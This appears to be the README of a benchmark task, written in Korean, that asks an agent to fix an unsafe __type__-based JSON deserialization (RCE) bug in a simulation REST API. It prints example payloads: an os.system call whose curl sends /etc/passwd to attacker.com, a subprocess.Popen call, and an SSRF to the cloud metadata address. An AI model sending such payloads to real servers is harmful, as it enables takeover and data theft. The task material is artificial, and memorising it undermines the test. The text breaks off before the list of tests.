
CVE-2026-25632 — 원격 코드 실행으로 이어지는 안전하지 않은 JSON 역직렬화 수정
실제 2026년 취약점에서 영감을 받음 (CVSS 10.0, 적극적으로 악용됨)
기반: CVE-2026-25632 — EPyT-Flow 상수도 네트워크 시뮬레이션 REST API에서 발견되어 2026년 초에 공개된 안전하지 않은__type__기반 JSON 역직렬화를 통한 원격 코드 실행
NovaSim은 과학 실험의 원격 제어를 위해 REST API를 노출하는 Python 기반 시뮬레이션 프레임워크입니다. 이기종 클라이언트 환경에서 유연한 객체 직렬화를 지원하기 위해, 개발자는 특수한 __type__ 필드를 감지하고 importlib를 사용하여 참조된 Python 클래스를 동적으로 가져와 인스턴스화하는 사용자 정의 JSON 로더를 추가했습니다.
이 패턴은 2026년 주요 오픈소스 프로젝트에서 심각한 원격 코드 실행(RCE) 취약점으로 공개되었습니다. 보안 연구원들은 JSON 본문을 제어할 수 있는 공격자가 Python 표준 라이브러리에서 호출 가능한 모든 항목(예: subprocess.Popen, os.system, eval, 그리고 25개 이상의 SSRF 가젯)을 대상으로 하는 가젯 체인을 구성하여 인증 없이 단일 HTTP 요청으로 전체 서버를 장악할 수 있음을 확인했습니다.
src/solution.py의 취약한 버전이 주어집니다. 여기에는 정확히 동일한 안전하지 않은 역직렬화 패턴이 포함되어 있습니다.
목표: DeserializationService.load_from_json()의 취약점을 수정하여 다음을 보장하십시오:
SecurityError를 발생시킵니다.__type__ 필드는 더 이상 임의의 모듈 가져오기 또는 클래스 인스턴스화를 허용하지 않습니다.__type__이 없는 JSON)는 정상적으로 계속 로드됩니다.# 위험 — CVE-2026-25632 패턴
import importlib
def _unsafe_load(data: dict):
if "__type__" in data:
module_path, class_name = data["__type__"].rsplit(".", 1)
module = importlib.import_module(module_path) # 공격자 제어 가능!
cls = getattr(module, class_name) # 공격자 제어 가능!
return cls(**data.get("args", {})) # 임의 코드 실행!
공격자는 조작된 JSON 본문과 함께 POST 요청을 보냅니다:
벡터 1 — subprocess를 통한 직접 RCE:
{
"__type__": "subprocess.Popen",
"args": {"args": ["id"], "shell": true}
}
벡터 2 — os.system을 통한 RCE:
{
"__type__": "os.system",
"args": {"command": "curl http://attacker.com/exfil?data=$(cat /etc/passwd)"}
}
벡터 3 — urllib.request.urlopen을 통한 SSRF:
{
"__type__": "urllib.request.urlopen",
"args": {"url": "http://169.254.169.254/latest/meta-data/"}
}
보안 연구원들은 Python 표준 라이브러리만을 통해 이러한 방식으로 도달 가능한 12개의 직접 RCE 가젯과 25개의 SSRF 가젯을 문서화했습니다.
다음 시뮬레이션 객체 유형만 __type__을 통해 역직렬화될 수 있습니다:
__type__ 값 | Python 클래스 |
|---|---|
simulation.Sensor | novasim.models.Sensor |
simulation.Actuator | novasim.models.Actuator |
simulation.Scenario | novasim.models.Scenario |
다른 모든 __type__ 값은 가져오기나 인스턴스화가 발생하기 전에 즉시 SecurityError를 발생시켜야 합니다.
DeserializationService.load_from_json(raw: str) -> dict | SimObject에 제출된 JSON 객체
__type__ 키가 없는 경우: dict (파싱된 JSON) 반환.__type__이 있는 경우: 해당 시뮬레이션 객체 인스턴스 반환.__type__이 있는 경우: "Blocked unsafe type: <type_value>" 메시지와 함께 SecurityError 발생."Invalid JSON payload" 메시지와 함께 ValueError 발생.| 시나리오 | 예상 동작 |
|---|---|
__type__ 없음 | 일반 dict로 파싱 및 반환 |
__type__ = "simulation.Sensor" | Sensor(**args) 인스턴스화 |
__type__ = "subprocess.Popen" | SecurityError 발생 |
__type__ = "os.system" | SecurityError 발생 |
__type__ = "__builtins__.eval" | SecurityError 발생 |
__type__ = "" (빈 문자열) | SecurityError 발생 |
__type__가 리스트 또는 정수 | SecurityError 발생 (잘못된 유형 필드) |
| 잘못된 형식의 JSON 문자열 | ValueError 발생 |
| 유효한 객체에 추가 알 수 없는 필드 | 허용됨, 생성자에 kwargs로 전달됨 |
challenge-cve-2026-25632/
├── README.md <- 현재 위치
├── Dockerfile <- 결정론적 빌드 환경
├── src/
│ ├── solution.py <- 버그가 있는 시작 코드 (당신의 대상)
│ ├── solution_fixed.py <- 참조 해결책 (에이전트에게 숨겨짐)
│ └── novasim/
│ ├── __init__.py
│ └── models.py <- 허용 목록 시뮬레이션 모델 클래스
└── tests/
└── test_solution.py <- 테스트 스위트 (버그 코드에선 실패, 수정 코드에선 통과)
수정 사항은 모두 통과해야 합니다: